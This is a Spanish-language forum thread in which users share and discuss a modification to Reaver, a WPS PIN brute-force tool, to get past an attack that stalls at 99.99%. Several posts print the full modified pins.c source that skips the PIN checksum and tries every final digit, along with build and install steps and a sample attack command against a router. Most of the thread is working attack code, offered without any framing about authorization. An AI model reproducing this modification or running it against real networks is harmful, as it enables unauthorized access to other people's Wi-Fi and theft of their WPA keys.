Autor Tema: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).  (Leído 34965 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14480
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #20 en: 24-11-2012, 17:43 (Sábado) »
Hola.

Mirando en la solucion de problemas de REAVER en la pagina del proyecto http://code.google.com/p/reaver-wps/ he visto un comentario que da solución al error del 99.99%. para que no compruebe el cheksum del último digito.

http://code.google.com/p/reaver-wps/issues/detail?id=195#c41

Citar
Comment 41 by stefano....@gmail.com, Oct 22, 2012

I'm proud of you Tystar!
You tried harder than anybody else looking for the insight and then you saw the light.
So it's time to show that light to all the masses.

Assumptions:
-the router accepts WPS transaction so it's not giving you continuously "timeout".
-you know the first 4 digits of the pin (for example 0123 or 1234 or whatever)
retrieve these information using original reaver before applying the modification.
---------------------------------------------------------------------------------------------
download reaver:
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only

open the file /root/reaver-wps-read-only/src/pin.c with a text editor
(save a copy you will need it to reinstall original reaver)
after #include "pins.h" SUBSTITUTE THE FIRST FUNCTION WITH THIS SAME FUNCTION (modified):

/* EXHAUSTIVE MOD. init */
/*
 * in these lines trivial modifications are applied over the original code.
 * these lines have to be considered for demonstration purpose only.
 * WPA PSK retrieval is not granted.
 * http://code.google.com/p/reaver-wps/issues/detail?id=195
 */

/* set global vars */
int exhaustive_last_digit = 9;
int exhaustive_index = 000;

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);
      
                /* Generate a 7-digit pin */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(exhaustive_index));
            
                /* Append last digit */
                snprintf(pin, pin_len, "%s%d", key, exhaustive_last_digit);

                free(key);

      if(exhaustive_last_digit==0)
      {
         if(exhaustive_index==999)
         {
            cprintf(CRITICAL, "[-] Failed to recover WPS pin. \n");
            /* Clean up and get out */
            globule_deinit();
            exit(EXIT_FAILURE);         
         }
         exhaustive_index++;
         exhaustive_last_digit=9;
      }else{
         exhaustive_last_digit--;
      }
        }

        return pin;
}

/* EXHAUSTIVE MOD. end */

-actual reaver have to be uninstalled:

cd /root/reaver-wps-read-only/src
./configure
make distclean

-modified reaver have to be installed:

cd /root/reaver-wps-read-only/src
./configure
make
make install
---------------------------------------------------------------------------------------------
call reaver with the option -p 0123 where "0123" are the pin first 4 digits.
if you don't specify these 4 digits worst-case will take at least 10 years (3sec/pin * 10^8pin).
using the right 4 digits worst-case will take at least 10 hours (3sec/pin * 10^4).

to reinstall original reaver:
substitute modified pins.c with the original pins.c that you kept safe somewhere.
uninstall and install with same commands as above.


Viene a decir que en el REAVER original en el archivo pin.c se sustituya una parte del codigo por el modificado por STEFANO.

Imagino que esto será la modificación que han hecho en el foro "ENEMIGO"

Saludos





 >:( >:( >:(

LUGO LO MIRO.

gracias.



ñandu

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #21 en: 24-11-2012, 22:54 (Sábado) »
hay os dejo el xzm subido a multiupload..

no se lo que durara la descarga , por que al ser un servicio gratuito pues acaban borrando los ficheros asi que..

http://www.multiupload.nl/8KLLFYFDIZ
he bajado el modulo y no me detecta redes con wps ,lo intente desde inflator y no detecta ninguna red ,despues desde comando consola tampoco aparecen redes  :-\ probado desde live USB claro,la solucion que encontre eliminar el modulo  :-[ y despues funciona con normalidad detectando redes con WPS ^-^

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14480
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #22 en: 24-11-2012, 23:06 (Sábado) »
esta cosntruido en wifislax 4.3 ¿ lo probaste hay o en wifiway ?, ¿ o wifislax 4.2 ?


luego probare el modulo.

ñandu

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #23 en: 24-11-2012, 23:15 (Sábado) »
esta cosntruido en wifislax 4.3 ¿ lo probaste hay o en wifiway ?, ¿ o wifislax 4.2 ?


luego probare el modulo.
lo probe en wifislax 4.3  ;D salu2
« Última modificación: 24-11-2012, 23:17 (Sábado) por ñandu »

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14480
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #24 en: 24-11-2012, 23:29 (Sábado) »
esta cosntruido en wifislax 4.3 ¿ lo probaste hay o en wifiway ?, ¿ o wifislax 4.2 ?


luego probare el modulo.
lo probe en wifislax 4.3  ;D salu2

ok , luego mirare que pasa.

linesguapo

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #25 en: 25-11-2012, 00:52 (Domingo) »
No encuentro la carpeta SRC por ninguna parte después de descomprimirlo solo veo las carpetas etc usr y var y no esta dentro de ninguna alguien puede ayudarme

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14480
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #26 en: 25-11-2012, 02:12 (Domingo) »
M.K , a dao en el clavo 100x100


esa es la modificacion unica y correcta del codigo de reaver hecha por el desarrollador de la misma , que digo yo sabra mas que nadie sobre el codigo de su herramienta.


el desarrollador podria facilmente haber  incluido algun parametro , para decirle a reaver "no te comportes de manera standard"   ..por ejemplo


Código: [Seleccionar]
reaver -i mon0 -b 11:22:33:44:55 --no-checksum -p 1234 -vv
interpretado seria

tira a este router SIN CHECKSUM , y los 4 primeros numeros son estos -p 1234  los 4 siguientes los probaria todos.

pero por lo que sea no lo ha hecho ...


_______________________________________________________________________________________________

antes de que nadie se vuelva loco , quiero explicar exactamente el procedimiento.

1- siempre siempre siempre tiraremos con reaver standard
2- en caso de obtener el famoso bucle de 99% usar entonces el mod
3- al usar el mod SI o SI , hay que usar el parametro -p xxxx

donde xxxx seran los 4 primeros digitos del numero que se quedo en bucle 99%


ejemplo

lanzo reaver y al final se me queda en 99% con el numero 12349876

me anoto los 4 primeros que son

1234

y lanzo reaver modificado con el argumento

-p 1234

asi solo buscara los 4 ultimos probandolos todos .


seria interesante anotarse el numero al completo y una vez obtenido al 100% , cotejar si efectivamente solo valian los 4 primeros , o podemos aprovechar algo mas.

___________________________________________________________________________________________________________________

segun el desarrollador de reaver SOLO HAY QUE TOCAR UN POCO EL FICHERO  pins.c

pins.c ORIGINAL

Código: [Seleccionar]
/*
 * Reaver - WPS PIN functions
 * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *
 *  In addition, as a special exception, the copyright holders give
 *  permission to link the code of portions of this program with the
 *  OpenSSL library under certain conditions as described in each
 *  individual source file, and distribute linked combinations
 *  including the two.
 *  You must obey the GNU General Public License in all respects
 *  for all of the code used other than OpenSSL. *  If you modify
 *  file(s) with this exception, you may extend this exception to your
 *  version of the file(s), but you are not obligated to do so. *  If you
 *  do not wish to do so, delete this exception statement from your
 *  version. *  If you delete this exception statement from all source
 *  files in the program, then also delete it here.
 */

#include "pins.h"

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);

                /* Generate a 7-digit pin from the given key index values */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(get_p2_index()));

                /* Generate and append the pin checksum digit */
                snprintf(pin, pin_len, "%s%d", key, wps_pin_checksum(atoi(key)));

                free(key);
        }

        return pin;
}

/*
 * Remove the last WPS pin (if any), build the next WPS pin in the p1 and p2 arrays,
 * and populate the wps structure with the new pin.
 */
char *build_next_pin()
{
        char *pin = NULL;
        struct wps_data *wps = get_wps();

        /* Remove previous pin */
        wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e);

        /* Build a new pin */
        pin = build_wps_pin();
        if(pin)
        {
                /* Add the new pin */
                if(wps_registrar_add_pin(wps->wps->registrar, NULL, (const u8 *) pin, PIN_SIZE, 0) != 0)
                {
                        free(pin);
                        pin = NULL;
                }
        }

        return pin;
}

/* Generate the p1 and p2 pin arrays */
void generate_pins()
{
        int i = 0, index = 0;

/* If the first half of the pin was not specified, generate a list of possible pins */
if(!get_static_p1())
{
/*
* Look for P1 keys marked as priority. These are pins that have been
* reported to be commonly used on some APs and should be tried first.
*/
for(index=0, i=0; i<P1_SIZE; i++)
{
if(k1[i].priority == 1)
{
set_p1(index, k1[i].key);
index++;
}
}
       
/* Randomize the rest of the P1 keys */
for(i=0; index < P1_SIZE; i++)
        {
                if(!k1[i].priority)
                {
                        set_p1(index, k1[i].key);
                        index++;
}
}
        }
else
{
/* If the first half of the pin was specified by the user, only use that */
for(index=0; index<P1_SIZE; index++)
{
set_p1(index, get_static_p1());
}
}

/* If the second half of the pin was not specified, generate a list of possible pins */
if(!get_static_p2())
{
/*
* Look for P2 keys statically marked as priority. These are pins that have been
* reported to be commonly used on some APs and should be tried first.
*/
for(index=0, i=0; i<P2_SIZE; i++)
{
if(k2[i].priority == 1)
{
set_p2(index, k2[i].key);
index++;
}
}

/* Randomize the rest of the P2 keys */
        for(i=0; index < P2_SIZE; i++)
        {
                if(!k2[i].priority)
                {
                        set_p2(index, k2[i].key);
                        index++;
}
                }
        }
else
{
/* If the second half of the pin was specified by the user, only use that */
for(index=0; index<P2_SIZE; index++)
{
set_p2(index, get_static_p2());
}
}

        return;
}



pins.c MODIFICADO TAL COMO DICE EL DESARROLLADOR

Código: [Seleccionar]
/*
 * Reaver - WPS PIN functions
 * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *
 *  In addition, as a special exception, the copyright holders give
 *  permission to link the code of portions of this program with the
 *  OpenSSL library under certain conditions as described in each
 *  individual source file, and distribute linked combinations
 *  including the two.
 *  You must obey the GNU General Public License in all respects
 *  for all of the code used other than OpenSSL. *  If you modify
 *  file(s) with this exception, you may extend this exception to your
 *  version of the file(s), but you are not obligated to do so. *  If you
 *  do not wish to do so, delete this exception statement from your
 *  version. *  If you delete this exception statement from all source
 *  files in the program, then also delete it here.
 */

#include "pins.h"

/* EXHAUSTIVE MOD. init */
/*
 * in these lines trivial modifications are applied over the original code.
 * these lines have to be considered for demonstration purpose only.
 * WPA PSK retrieval is not granted.
 * http://code.google.com/p/reaver-wps/issues/detail?id=195
 */

/* set global vars */
int exhaustive_last_digit = 9;
int exhaustive_index = 000;

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);
     
                /* Generate a 7-digit pin */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(exhaustive_index));
           
                /* Append last digit */
                snprintf(pin, pin_len, "%s%d", key, exhaustive_last_digit);

                free(key);

      if(exhaustive_last_digit==0)
      {
         if(exhaustive_index==999)
         {
            cprintf(CRITICAL, "[-] Failed to recover WPS pin. \n");
            /* Clean up and get out */
            globule_deinit();
            exit(EXIT_FAILURE);         
         }
         exhaustive_index++;
         exhaustive_last_digit=9;
      }else{
         exhaustive_last_digit--;
      }
        }

        return pin;
}

/* EXHAUSTIVE MOD. end */


/*
 * Remove the last WPS pin (if any), build the next WPS pin in the p1 and p2 arrays,
 * and populate the wps structure with the new pin.
 */
char *build_next_pin()
{
        char *pin = NULL;
        struct wps_data *wps = get_wps();

        /* Remove previous pin */
        wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e);

        /* Build a new pin */
        pin = build_wps_pin();
        if(pin)
        {
                /* Add the new pin */
                if(wps_registrar_add_pin(wps->wps->registrar, NULL, (const u8 *) pin, PIN_SIZE, 0) != 0)
                {
                        free(pin);
                        pin = NULL;
                }
        }

        return pin;
}

/* Generate the p1 and p2 pin arrays */
void generate_pins()
{
        int i = 0, index = 0;

/* If the first half of the pin was not specified, generate a list of possible pins */
if(!get_static_p1())
{
/*
* Look for P1 keys marked as priority. These are pins that have been
* reported to be commonly used on some APs and should be tried first.
*/
for(index=0, i=0; i<P1_SIZE; i++)
{
if(k1[i].priority == 1)
{
set_p1(index, k1[i].key);
index++;
}
}
       
/* Randomize the rest of the P1 keys */
for(i=0; index < P1_SIZE; i++)
        {
                if(!k1[i].priority)
                {
                        set_p1(index, k1[i].key);
                        index++;
}
}
        }
else
{
/* If the first half of the pin was specified by the user, only use that */
for(index=0; index<P1_SIZE; index++)
{
set_p1(index, get_static_p1());
}
}

/* If the second half of the pin was not specified, generate a list of possible pins */
if(!get_static_p2())
{
/*
* Look for P2 keys statically marked as priority. These are pins that have been
* reported to be commonly used on some APs and should be tried first.
*/
for(index=0, i=0; i<P2_SIZE; i++)
{
if(k2[i].priority == 1)
{
set_p2(index, k2[i].key);
index++;
}
}

/* Randomize the rest of the P2 keys */
        for(i=0; index < P2_SIZE; i++)
        {
                if(!k2[i].priority)
                {
                        set_p2(index, k2[i].key);
                        index++;
}
                }
        }
else
{
/* If the second half of the pin was specified by the user, only use that */
for(index=0; index<P2_SIZE; index++)
{
set_p2(index, get_static_p2());
}
}

        return;
}




Chumpy

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #27 en: 25-11-2012, 04:59 (Domingo) »
para los que quieran instalarlo a mano es muy sencillo.

extraen el contenido del archivo comprimido...

exploran carpetas hasta ver la que pone src , ...hay click derecho sobre esa carpeta..abrir terminal aqui.


Entiendo que hay que buscar src dentro del archivo descomprimido.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14480
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #28 en: 25-11-2012, 06:42 (Domingo) »
ESPERAD A MAÑANA , ya he conseguido yo mismo modificar lo necesario en el code.

Hasta lo he traducido al español ...al 95% , y coloreado las partes interesantes , como cuando dice el pin que ha probado , sale de otro color para verlo claramente.


ademas me la he ingeniado para poder tener A LA VEZ LAS 2 VERSIONES ,  >:(

ya que tambien modifique la ruta donde buscara la base de pines.


reaver normal busca su base de pines en

/etc/reaver/reaver.db

el mio modificado

/etc/reaver-wifislax/reaver.db


_____________________________________________________________________

podeis hacer

./configure --prefix=/usr --sysconfdir=/etc
make

pero en vez de make install , lo que haremos es mirar en la carpeta y veremos que alli estan


reaver
wash
reaver.db


iremos a etc y crearemos la carpeta reaver-wifislax y meteremos alli el file reaver.db
iremos a /usr/bin

y aqui esta el truco ....

wash podeis sobreescribirlo , ...y para mantener los 2 reavers , solo renombrad el nuevo a

reaver-wifislax

asi tendresi el ejecutable de reaver y el otro renombrado a reaver-wifislax que trabajara sobre

/etc/reaver-wifislax


si haceis

make install , se instalara solo , pero perdereis el reaver original.

_____________________________________________________________________________

me falta un script inicial que informe detalladamente el enfoque del mod , para evitar despues preguntas , que llegaran igual , pero bueno , que no quede por intentarlo.

popeye7

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #29 en: 25-11-2012, 07:18 (Domingo) »
AL Cesar lo que es del Cesar . Supongo que ya no existe ningun problema para integrar ese modulo en wifislax. Por otra parte el archivo que pusiste para descargar , bajándolo de todos los
  servidores y en en wifislax . 2 y 3 , extayendo el módulo no me aparece la carpeta src ( tampoco dentro de las existentes).

m.k.

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #30 en: 25-11-2012, 09:20 (Domingo) »

ESPERAD A MAÑANA , ya he conseguido yo mismo modificar lo necesario en el code.

Hasta lo he traducido al español ...al 95% , y coloreado las partes interesantes , como cuando dice el pin que ha probado , sale de otro color para verlo claramente.


ademas me la he ingeniado para poder tener A LA VEZ LAS 2 VERSIONES ,  >:(

ya que tambien modifique la ruta donde buscara la base de pines.

Me quito el sonbrero ante vos... >:(

Cita de: USUARIONUEVO

link=topic=48721.msg259117#msg259117 date=1353805943

esa es la modificacion unica y correcta del codigo de reaver hecha por el desarrollador de la misma , que digo yo sabra mas que nadie sobre el codigo de su herramienta

... Luego el tal STEFANO es el autor de REAVER ? !!! No lo sabía, que sorpresa¡¡¡

Saludos


Rhamallac

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #31 en: 25-11-2012, 13:51 (Domingo) »
Hola,
Enhorabuena por el foro lo primero.

Un problema que he encontrado con la modificación del Pins.c es que la sesión no se guarda correctamente.
He intentado modificar el fichero que se graba, pero no encuentro la forma. Aun recuperando empieza desde el principio de 8752...

Alguien sabe como manipular el fichero o como recuperarlo?

Gracias de antemano y saludos.

djkarter

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #32 en: 25-11-2012, 16:43 (Domingo) »
Hola a todos:

Estoy probando y con la opcon -p y 4 primero digitos, se queda en el mismo numero siempre y al 99,99% (he de decir que no he modificado nada, solo probando)

He intentando buscar el archivo pins.c que se indica para modificarlo y no lo encuentro, podeis especificar la ruta para poder hacerlo? o simplemente, no sirve de nada modificar eso puesto que hay que hacer algo mas???

A todos los que estais dedicando vuestro tiempo y esfuerzo, desde aqui mi apoyo, puesto que sin vosotros los demas no seriamos nadie.

Saludos.

Carpena

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #33 en: 25-11-2012, 17:32 (Domingo) »
Genial, con todo lo que hems avanzado ya no creo que tenga problemas de 99,99% luego lo probare, pero para un futuro seria mejor integrarlo en la nueva version de wifislax para poner -concheksum o -sincheksum o un script que ante el error el 99,99% automaticamente se saltase elcheksum

Tystar

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #34 en: 25-11-2012, 21:55 (Domingo) »
Hola, me alegra ver que han encontrado ya como solucionar el problema.

Por cierto, no se si se han fijado en la primera linea que comenta stefano en la solución de "http://code.google.com/p....."

"I'm proud of you TYSTAR" ;)

En su día Stefano dio la pista de que archivo había que modificar para solucionar el problema, el pins.c, yo hice una modificación propia "cutre" pero me sirvió para salir del paso, la publiqué ahí y por eso me contesto.

Saludos


Hola.

Mirando en la solucion de problemas de REAVER en la pagina del proyecto http://code.google.com/p/reaver-wps/ he visto un comentario que da solución al error del 99.99%. para que no compruebe el cheksum del último digito.

http://code.google.com/p/reaver-wps/issues/detail?id=195#c41

Citar
Comment 41 by stefano....@gmail.com, Oct 22, 2012

I'm proud of you Tystar!
You tried harder than anybody else looking for the insight and then you saw the light.
So it's time to show that light to all the masses.

Assumptions:
-the router accepts WPS transaction so it's not giving you continuously "timeout".
-you know the first 4 digits of the pin (for example 0123 or 1234 or whatever)
retrieve these information using original reaver before applying the modification.
---------------------------------------------------------------------------------------------
download reaver:
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only

open the file /root/reaver-wps-read-only/src/pin.c with a text editor
(save a copy you will need it to reinstall original reaver)
after #include "pins.h" SUBSTITUTE THE FIRST FUNCTION WITH THIS SAME FUNCTION (modified):

/* EXHAUSTIVE MOD. init */
/*
 * in these lines trivial modifications are applied over the original code.
 * these lines have to be considered for demonstration purpose only.
 * WPA PSK retrieval is not granted.
 * http://code.google.com/p/reaver-wps/issues/detail?id=195
 */

/* set global vars */
int exhaustive_last_digit = 9;
int exhaustive_index = 000;

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);
      
                /* Generate a 7-digit pin */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(exhaustive_index));
            
                /* Append last digit */
                snprintf(pin, pin_len, "%s%d", key, exhaustive_last_digit);

                free(key);

      if(exhaustive_last_digit==0)
      {
         if(exhaustive_index==999)
         {
            cprintf(CRITICAL, "[-] Failed to recover WPS pin. \n");
            /* Clean up and get out */
            globule_deinit();
            exit(EXIT_FAILURE);         
         }
         exhaustive_index++;
         exhaustive_last_digit=9;
      }else{
         exhaustive_last_digit--;
      }
        }

        return pin;
}

/* EXHAUSTIVE MOD. end */

-actual reaver have to be uninstalled:

cd /root/reaver-wps-read-only/src
./configure
make distclean

-modified reaver have to be installed:

cd /root/reaver-wps-read-only/src
./configure
make
make install
---------------------------------------------------------------------------------------------
call reaver with the option -p 0123 where "0123" are the pin first 4 digits.
if you don't specify these 4 digits worst-case will take at least 10 years (3sec/pin * 10^8pin).
using the right 4 digits worst-case will take at least 10 hours (3sec/pin * 10^4).

to reinstall original reaver:
substitute modified pins.c with the original pins.c that you kept safe somewhere.
uninstall and install with same commands as above.


Viene a decir que en el REAVER original en el archivo pin.c se sustituya una parte del codigo por el modificado por STEFANO.

Imagino que esto será la modificación que han hecho en el foro "ENEMIGO"

Saludos





Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14480
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #35 en: 25-11-2012, 21:58 (Domingo) »
pues mira este ultimo comentario me deja MUY MUY tranquilo.

Lo que menos me apetece es que vengan a decir que hemos "robao", el mod del otro sitio.

El nuestro es diferente.

linesguapo

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #36 en: 25-11-2012, 23:01 (Domingo) »
Usuarionuevo como va el tema lo vas integrar entonces en wifislax, con lo que has colgado varios no somos capaces de instalarlo, bueno muchas gracias por todo compañero eres un. Crack.

linesguapo

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #37 en: 25-11-2012, 23:02 (Domingo) »
Usuarionuevo como va el tema lo vas integrar entonces en wifislax, con lo que has colgado varios no somos capaces de instalarlo, bueno muchas gracias por todo compañero eres un. Crack.


linesguapo

  • Visitante
Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
« Respuesta #39 en: 26-11-2012, 00:32 (Lunes) »
He probado el modulo y me lo instala perfectamente, pero cuando lo ejecuto no es capaz de asociarse se queda en esperando beacon, y con el reaver normal tampoco, pero si arranco la Live y no instalo el modulo el rever funciona correctamente y se asocia tienen que haber algún bug uso wifislax 4.2